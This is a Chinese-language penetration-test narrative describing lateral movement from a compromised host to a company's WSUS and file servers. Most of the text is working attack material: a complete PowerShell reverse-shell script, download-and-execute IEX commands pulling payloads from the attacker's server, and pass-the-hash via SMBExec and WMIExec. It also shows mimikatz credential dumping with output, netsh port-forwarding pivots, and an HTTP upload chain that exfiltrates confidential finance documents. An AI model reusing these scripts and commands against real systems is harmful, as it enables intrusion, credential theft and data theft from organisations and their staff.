公司智慧手機安全(二)——瞄準WSUS伺服器。 經過掃描發現,有兩台主機能夠滿足我們的需求,給我們發送一個穩定的遠端shell。 他們分別是WSUS(Windows補救伺服器)和Antivirus(反病毒相關伺服器),因為這些服務必須有Internet存取權限才能更新資料庫,讓我們從第一個開始。
有一個有趣的問題,本地管理員的NTLM雜湊是否足以訪問此伺服器呢?也許我們的答案是肯定的。
在一家公司,所有伺服器都使用相同的本地管理員密碼其實很常見。 這常常與第一次創建伺服器有關系(非最佳實踐),第一次被創建的伺服器成為了範本,於是隨後部署的實例都保留了原有的管理員密碼。
經過一系列大型測試,現在事情變得更複雜了,我們有以下計畫:
將我們之前的Powershell腳本(r1.ps1)放到公共web伺服器上
function Invoke-r1
{
$client = New-Object Net.Sockets.TCPClient(‘’,80)
$stream = $client. GetStream(); [byte[]]$bytes = 0..65535|%{0}
while(($i = $stream. Read($bytes, 0, $bytes. Length)) -ne 0)
{
$data = (New-Object -TypeName System.Text.ASCIIEncoding). GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + ‘PS ‘ + (pwd). Path + ‘> ‘
$sendbyte = ([text.encoding]::ASCII). GetBytes($sendback2)
$stream. Write($sendbyte,0,$sendbyte. Length)
$stream. Flush()
}
$client. Close()
}
用Tomcat的webshell上傳SMBExec(smb.ps1),這將允許我們傳遞雜湊進行身份驗證
我們稍微修改了原始的SMBExec腳本,添加了一些行用於自動化漏洞利用。 一旦被載入,它就會自動調用必要的參數連接到WSUS伺服器,在我們的伺服器下載反向shell到記憶體,然後執行
Invoke-SMBExec \
-Target \
-Username Administrator -Hash 604603ab105adc8XXXXXXXXXXXXXXXXX \
-Command \
「powershell `」IEX (New-Object Net.WebClient). DownloadString(`’HTTP:///r1.ps1`’); Invoke-r1`」」
這就是我們的一體化解決方案:自動執行的SMBExec,自動下載並執行的Powershell腳本
在webshell裡,我們執行了smb.ps1:
cmd /c powershell -executionpolicy bypass -f c:\tomcat\webapps\cmd\warfiles\smb.ps1
Command executed with service BHTLCPTEICLBHQPOVGSM on 192.168.178.62
這次攻擊成功了,我們收到了來自SRVWSUS電腦的SYSTEM許可權的Shell:
connect to from 50341
PS C:\Windows\system32> whoami
nt authority\system
最終還是拿到了一個連接更穩定的shell,拜拜啦Android~
但現在我們的任務也與以前不同了,我們至今也沒能找到竊取機密資料的方法。
我們同樣注意到了,即使以本地管理員身份啟動了smb.ps1,SMBExec也會以SYSTEM許可權產生進程(記得之前的whoami結果嗎)。 或許使用wmiexec.ps1——一款強大的windows WMI介面的Powershell封裝工具——會更適合下面的任務,因為它會使用傳遞的憑據運行遠端進程。
我們再次運行mimikatz,依舊沒有什麼問題(我們是SYSTEM許可權),這次SRVWSUS直接傳遞給我們了反向shell,而無需再上傳檔。 記住,"mymy"是我們對mimikatz混淆後的名字。
PS C:\Windows\system32>iex (New-Object Net.WebClient). DownloadString(‘HTTP:///m.ps1’); Invoke-mymy
mimikatz(powershell) # sekurlsa::logonpasswords
Authentication Id : 0 ; 749566 (00000000:000b6ffe)
Session : Interactive from 2
User Name : administrator
Domain : SUPERCOMPANY
Logon Server : SRVDC1
Logon Time : 2/17/2017 4:23:28 PM
SID : S-1-5-21-3534665177-2148510708-2241433719-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : SUPERCOMPANY
* NTLM : 446687c38d831f4XXXXXXXXXXXXXXXXX
* SHA1 : 5cd9d993a606586XXXXXXXXXXXXXXXXXXXXXXXXX
[00010000] CredentialKeys
* NTLM : 446687c38d831f4XXXXXXXXXXXXXXXXX
* SHA1 : 5cd9d993a606586XXXXXXXXXXXXXXXXXXXXXXXXX
tspkg :
wdigest :
* Username : Administrator
* Domain : SUPERCOMPANY
* Password : (null)
kerberos :
* Username : administrator
* Domain : SUPERCOMPANY. LOCAL
* Password : (null)
ssp : KO
credman :
Wow!域管理員在伺服器登錄過,我們拿到了域管理員的雜湊,收穫不小。
遊戲結束了嗎?並沒有!客戶是叫我們去竊取機密資訊,可我們還沒拿到任何機密檔。 可是我們現在知道應該在哪搜索了,檔案伺服器SRVFILE1
定位檔案伺服器(SRVFILE1)
還有什麼比檔案伺服器更適合搜索檔的地方嗎?有了域管理員的密碼雜湊,我們已經成功了一半了。 有了之前的一體化SMBExec,我們只需要把本地管理員雜湊替換為域管理員雜湊。
從SRVWSUS的反向shell開始,我們試著用之前相同的步驟攻擊伺服器,但這次失敗了。 經過若干次嘗試之後,我們得出結論,那台伺服器被配置為禁止訪問互聯網。
新伺服器需要新的計畫了,最新的計畫是用我們已有的SRVWSUS shell轉到SRVFILE1上
步驟如下:
使用netsh將發送到SRVWSUS 8888埠的所有流量都轉到攻擊者443埠
#SRVFILE1 SRVWSUS:8888 ATTACKER:443
netsh interface portproxy add v4tov4 listenport = 8888 listenaddress = 0.0.0.0 connectport = 443 connectaddress =
在SRVWSUS上傳第二個反向shell腳本r2.ps1,在我們的web伺服器上:
(New-Object Net.WebClient). DownloadFile(‘HTTP:///r2.ps1’, ‘c:\tmp\r2.ps1’)
r2.ps1與之前的腳本不同,因為它是連接到SRVWSUS而不是我們的公共IP
...
$client = New-Object System.Net.Sockets.TCPClient(‘’,8888)
...
* 在SRVWSUS上下載一個簡單的PowerShell HTTPServer:
# HTTP.ps1
start-job { # will execute in background
$p=」c:\tmp\」
$H=New-Object Net.HttpListener
$H.Prefixes.Add(「HTTP://+:8001/」)
$H.Start()
While ($H.IsListening) {
$HC=$H.GetCoNtext()
$HR=$HC. Response
$HR. Headers.Add(「Content-Type」,」text/plain」)
$file=Join-Path $p ($HC. Request). RawUrl
$text=[IO. File]::ReadAllText($file)
$text=[Text.Encoding]::UTF8. GetBytes($text)
$HR. ContentLength64 = $text. Length
$HR. OutputStream.Write($text,0,$text. Length)
$HR. Close()
}
$H.Stop()
}
啟動HTTP監聽並且放入後臺,SRVFILE1將從這裡下載我們的反向shell
PS C:\tmp> .\HTTP.ps1
我們用WMIExec代替了SMBExec,從我們的網路伺服器下載了SRVWSUS的wmiexec.ps1檔:
PS C:\tmp> (New-Object Net.WebClient). DownloadFile(‘HTTP:///wmiexec.ps1‘, ‘c:\tmp\wmiexec.ps1’)
The file contained the following Invoke-WMIExec function at the end:
Invoke-WMIExec \
-Target -Domain SUPERCOMPANY \
-Username Administrator -Hash 446687c38d831f4XXXXXXXXXXXXXXXXX \
-Command \
「powershell `」IEX (New-Object Net.WebClient). DownloadString(`’HTTP://:8001/r2.ps1`’); Invoke-r2`」」
運行wmiexec.ps1:
PS C:\tmp> .\wmiexec.ps1
Command executed with process ID 4756 on 192.168.178.195
在這個故事的末尾,我們非常「神奇」的從SRVFILE1得到了域管理員許可權的shell
connect to [our-webserver] from [company-ip] 49190
PS C:\Windows\system32> whoami
supercompany\administrator
這個圖像應該有助於瞭解這個流程:
在我們內網漫遊的最後階段,我們只需要找到幾個機密檔就好了。 快速查看過硬碟之後,我們發現了一些東西:
Directory: F:\Finance\Reserved
Mode LastWriteTime Length Name
—- ————- —— —-
-a— 9/24/2016 2:20 AM 164468 Supersecret.docx
-a— 5/29/2016 6:41 PM 12288 Balance.xlsx
...
這就是我們需要的檔!只需要把他們拿到手,就能夠證明漏洞了。
高興了五分鐘之後,我們反過來問自己:該怎樣拿到檔呢?首先試了試我們公網伺服器的FTP,但運氣不佳,對方公司的防火牆遮罩了服務。 所以我們決定通過HTTP上傳。
現在該是介紹我們鍾愛的PHP語言的時候了,沒錯,我們大愛PHP~
我們在公網web伺服器上用了一個簡單的上傳腳本
index.php
$pic = @$_FILES[‘pic’][‘name’];
$pic_loc = @$_FILES[‘pic’][‘tmp_name’];
echo (@move_uploaded_file($pic_loc,$pic)) ? 「DONE」 : 「ERROR」; ?>
接下來需要的就是一個帶有檔上傳功能的HTTP用戶端了。 Google一番,發現了一個極佳的Powershell腳本,於是上傳到了SRVWSUS,命名為upload.ps1
要傳送檔,就必須建立一個連接,在SRVWSUS上添加一條新的埠轉發規則,這次在8889埠:
# SRVFILE1 SRVWSUS:8889 ATTACKER:80
interface portproxy add v4tov4 listenport=8889 listenaddress=0.0.0.0 connectport=80 connectaddress=
設置好之後,就在SRVFILE1下載和執行了HTTP上傳腳本。 請注意,檔從SRVWSUS的8889埠下載,該埠映射到了我們伺服器上PHP運行的80埠。 我們的443埠映射的是SRVWSUS的8888埠,反向shell從那裡接收命令。
PS C:\tmp\>(New-Object Net.WebClient). DownloadFile(‘HTTP://:8889/up.ps1′,’c:\tmp\upload.ps1’)
PS C:\tmp\>. .\upload.ps1
PS C:\tmp> invoke-upload -infile f:\finance\reserved\Supersecret.docx -uri HTTP://:8889/
content:System.Net.Http.StreamContent
DONE
PS C:\tmp> invoke-upload -infile f:\finance\reserved\balance.xlsx -uri HTTP://:8889/
content:System.Net.Http.StreamContent
DONE
成功將機密檔轉竊取到了我們的web伺服器,任務完成!
這次我們沒有發現什麼太大的檔,如果有的話,可以用zip壓縮他們,powershell命令如下:
$src= 「f:\finance\」
$dst= 「c:\tmp\files.zip」
[Reflection.Assembly]::LoadWithPartialName(「System.IO.Compression.FileSystem」)
[System.IO.Compression.ZipFile]::CreateFromDirectory($src,$dst,[System.IO.Compression.CompressionLevel]::O ptimal,$true)